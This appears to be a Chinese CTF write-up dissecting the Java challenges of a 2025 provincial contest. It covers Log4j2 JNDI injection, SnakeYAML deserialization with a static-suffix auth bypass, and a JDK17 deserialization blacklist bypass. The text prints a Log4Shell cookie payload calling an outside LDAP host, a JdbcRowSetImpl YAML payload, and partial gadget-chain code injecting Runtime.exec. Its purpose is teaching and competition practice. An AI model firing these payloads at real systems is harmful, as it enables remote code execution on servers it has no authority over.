2025四川省赛-Java赛题深度剖析
字数 1588 2025-12-10 12:11:01

2025四川省赛-Java赛题深度剖析教学文档

概述

本教学文档深入分析2025年四川省赛Java赛题中的三个核心漏洞场景:Log4j2漏洞利用、SnakeYAML反序列化漏洞和自定义反序列化链绕过。每个场景都包含漏洞原理、利用条件和详细攻击流程。

一、Log4j2漏洞利用(CVE-2021-44228)

漏洞环境

  • Log4j2版本:2.14.1(存在CVE-2021-44228漏洞)
  • 触发点:Cookie值记录到日志时触发

漏洞原理

Log4j2在2.14.1版本中存在JNDI注入漏洞,当日志记录包含${jndi:ldap://}格式的字符串时,会执行JNDI查找并加载远程恶意对象。

攻击步骤

  1. 识别注入点:通过Fuzz测试发现Cookie值引发的报错会被记录到日志中
  2. 构造POC
Cookie: ${${jndi:ldap://47.109.156.81:1389/Deserialize/Jackson/Command/calc}}
  1. 执行结果:成功触发计算器程序执行

注意事项

  • 该漏洞只能利用一次,因为错误日志只会记录一次
  • 需要目标服务器能够访问外部LDAP服务器

二、SnakeYAML反序列化漏洞

漏洞环境

  • 组件:SnakeYAML(存在反序列化漏洞的版本)
  • 目标路由:/api/admin
  • 前置条件:需要鉴权绕过

鉴权绕过技巧

  1. 分析过滤逻辑:静态文件后缀(如.css)的请求会直接放行
  2. 路径构造:在目标路由后添加静态文件后缀可绕过鉴权
    • 示例:/api/admin/test.css

攻击步骤

  1. 直接利用尝试(失败):
!!com.sun.rowset.JdbcRowSetImpl {
  dataSourceName: "ldap://127.0.0.1:9999/test", 
  autoCommit: true
}
  1. 二次反序列化绕过:由于JDK1.8环境限制,选择LDAP二次反序列化
  2. 构造利用链:使用不依赖spring-aop的Jackson反序列化链

完整POC代码

import com.fasterxml.jackson.databind.node.POJONode;
import java.io.*;
import java.lang.reflect.Field;
import java.util.Base64;
import java.util.Vector;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.*;

import javax.swing.event.EventListenerList;
import javax.swing.undo.UndoManager;

public class test {
    public static void main(String[] args) throws Exception {
        ClassPool pool = ClassPool.getDefault();
        ClassPool.getDefault().insertClassPath(new LoaderClassPath(test.class.getClassLoader()));
        CtClass ctClass = ClassPool.getDefault().getCtClass("com.fasterxml.jackson.databind.node.BaseJsonNode");
        // 获取原方法
        CtMethod originalMethod = ctClass.getDeclaredMethod("writeReplace");
        // 修改方法名
        originalMethod.setName("Replace");
        // 加载修改后的类
        ctClass.toClass();
        CtClass clazz = pool.makeClass("gaoren");
        CtClass superClass = pool.get(AbstractTranslet.class.getName());
        clazz.setSuperclass(superClass);
        // ... 后续利用代码
    }
}

利用结果

  • 成功启动LDAP服务器
  • 最终触发计算器程序执行

三、自定义反序列化链绕过

环境信息

  • JDK版本:17
  • 目标接口:/object
  • 关键特性:反序列化后调用toString方法

防护机制分析

  1. SafeObjectInputStream类:包含两个黑名单

    • BlackList1:直接比较字节码
    • BlackList2:可通过二次反序列化绕过
  2. BlackList1绕过技术:使用UTF8 Overlong Encoding

    • 原理:改变明文字节码表示,绕过直接字节比较
    • 实现:调用student.ser(node)方法进行编码转换

攻击步骤

  1. 利用Jackson触发getter:通过TemplatesImpl实现RCE
  2. 构造UTF8 Overlong Encoding:绕过字节码检查
  3. 完整利用链构造

POC代码核心部分

import javassist.*;
import org.springframework.aop.framework.AdvisedSupport;
import sun.misc.Unsafe;
import java.io.*;
import java.lang.reflect.*;
import java.util.Base64;
import java.util.HashMap;
import java.util.Map;
import java.util.Vector;
import com.fasterxml.jackson.databind.node.POJONode;
import javax.swing.event.EventListenerList;
import javax.swing.undo.UndoManager;
import javax.xml.transform.Templates;

public class test3 {
    public static void main(String[] args) throws Exception {
        patchModule(test3.class);
        ClassPool classPool = ClassPool.getDefault();
        CtClass cc = classPool.makeClass("Evil");
        String cmd = "java.lang.Runtime.getRuntime().exec(\"calc\");";
        cc.makeClassInitializer().insertBefore(cmd);
        
        byte[] classBytes = cc.toBytecode();
        CtClass cc1 = classPool.makeClass("Evil1");
        cc1.makeClassInitializer().insertBefore(cmd);
        
        byte[] classBytes1 = cc1.toBytecode();
        byte[][] code = new byte[][]{classBytes,classBytes1};
        
        Class clazz = Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl");
        Object impl = getObject(clazz);
        
        setFieldValue(impl,"_name","test");
        setFieldValue(impl, "_tfactory", getObject(Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl")));
        setFieldValue(impl,"_bytecodes",code);
        // ... 后续利用代码
    }
}

替代方案思考

在JDK17环境下,考虑使用LdapAttribute.getAttributeDefinition方法:

  1. 利用链特点

    • 通过Jackson触发getter
    • 使用Attribute接口的getter方法
    • 通过代理类绕过JDK17模块化机制
  2. 局限性

    • 稳定性较差(Attribute接口有多个getter方法)
    • JDK17限制:只能使用RMI协议,而LdapAttribute只支持LDAP协议
    • 本地工厂类利用受限(Tomcat9环境下)

替代POC代码框架

import com.fasterxml.jackson.databind.node.POJONode;
import javassist.ClassPool;
// ... 其他导入

public class test2 {
    public static void main(String[] args) throws Exception {
        Field field = Unsafe.class.getDeclaredField("theUnsafe");
        field.setAccessible(true);
        Unsafe unsafe = (Unsafe) field.get((Object) null);
        Module baseModule = Object.class.getModule();
        Class<?> currentClass = test2.class;
        long addr = unsafe.objectFieldOffset(Class.class.getDeclaredField("module"));
        unsafe.getAndSetObject(currentClass, addr, baseModule);
        
        ClassPool.getDefault().insertClassPath(new LoaderClassPath(test2.class.getClassLoader()));
        CtClass ctClass = ClassPool.getDefault().getCtClass("com.fasterxml.jackson.databind.node.BaseJsonNode");
        // ... 方法修改代码
    }
}

四、技术要点总结

关键绕过技术

  1. 鉴权绕过:利用静态文件后缀绕过路径检查
  2. 字节码检查绕过:UTF8 Overlong Encoding技术
  3. 模块化绕过:通过Unsafe修改module字段
  4. 二次反序列化:在受限环境下的链式利用

版本适配策略

  • JDK1.8:可直接使用远程类加载
  • JDK17:需要绕过模块化限制,利用链选择受限

稳定性考量

  • 某些利用链存在不稳定性(如Attribute接口多个getter)
  • 可能需要多次尝试才能成功
  • 环境依赖(如spring-aop)会影响利用链选择

本教学文档详细分析了三个漏洞场景的技术细节和利用方法,为Java安全研究和CTF竞赛提供了实用的技术参考。

2025四川省赛-Java赛题深度剖析教学文档 概述 本教学文档深入分析2025年四川省赛Java赛题中的三个核心漏洞场景:Log4j2漏洞利用、SnakeYAML反序列化漏洞和自定义反序列化链绕过。每个场景都包含漏洞原理、利用条件和详细攻击流程。 一、Log4j2漏洞利用(CVE-2021-44228) 漏洞环境 Log4j2版本:2.14.1(存在CVE-2021-44228漏洞) 触发点:Cookie值记录到日志时触发 漏洞原理 Log4j2在2.14.1版本中存在JNDI注入漏洞,当日志记录包含 ${jndi:ldap://} 格式的字符串时,会执行JNDI查找并加载远程恶意对象。 攻击步骤 识别注入点 :通过Fuzz测试发现Cookie值引发的报错会被记录到日志中 构造POC : 执行结果 :成功触发计算器程序执行 注意事项 该漏洞只能利用一次,因为错误日志只会记录一次 需要目标服务器能够访问外部LDAP服务器 二、SnakeYAML反序列化漏洞 漏洞环境 组件:SnakeYAML(存在反序列化漏洞的版本) 目标路由: /api/admin 前置条件:需要鉴权绕过 鉴权绕过技巧 分析过滤逻辑 :静态文件后缀(如.css)的请求会直接放行 路径构造 :在目标路由后添加静态文件后缀可绕过鉴权 示例: /api/admin/test.css 攻击步骤 直接利用尝试 (失败): 二次反序列化绕过 :由于JDK1.8环境限制,选择LDAP二次反序列化 构造利用链 :使用不依赖spring-aop的Jackson反序列化链 完整POC代码 利用结果 成功启动LDAP服务器 最终触发计算器程序执行 三、自定义反序列化链绕过 环境信息 JDK版本:17 目标接口: /object 关键特性:反序列化后调用toString方法 防护机制分析 SafeObjectInputStream类 :包含两个黑名单 BlackList1:直接比较字节码 BlackList2:可通过二次反序列化绕过 BlackList1绕过技术 :使用UTF8 Overlong Encoding 原理:改变明文字节码表示,绕过直接字节比较 实现:调用 student.ser(node) 方法进行编码转换 攻击步骤 利用Jackson触发getter :通过TemplatesImpl实现RCE 构造UTF8 Overlong Encoding :绕过字节码检查 完整利用链构造 POC代码核心部分 替代方案思考 在JDK17环境下,考虑使用 LdapAttribute.getAttributeDefinition 方法: 利用链特点 : 通过Jackson触发getter 使用Attribute接口的getter方法 通过代理类绕过JDK17模块化机制 局限性 : 稳定性较差(Attribute接口有多个getter方法) JDK17限制:只能使用RMI协议,而LdapAttribute只支持LDAP协议 本地工厂类利用受限(Tomcat9环境下) 替代POC代码框架 四、技术要点总结 关键绕过技术 鉴权绕过 :利用静态文件后缀绕过路径检查 字节码检查绕过 :UTF8 Overlong Encoding技术 模块化绕过 :通过Unsafe修改module字段 二次反序列化 :在受限环境下的链式利用 版本适配策略 JDK1.8 :可直接使用远程类加载 JDK17 :需要绕过模块化限制,利用链选择受限 稳定性考量 某些利用链存在不稳定性(如Attribute接口多个getter) 可能需要多次尝试才能成功 环境依赖(如spring-aop)会影响利用链选择 本教学文档详细分析了三个漏洞场景的技术细节和利用方法,为Java安全研究和CTF竞赛提供了实用的技术参考。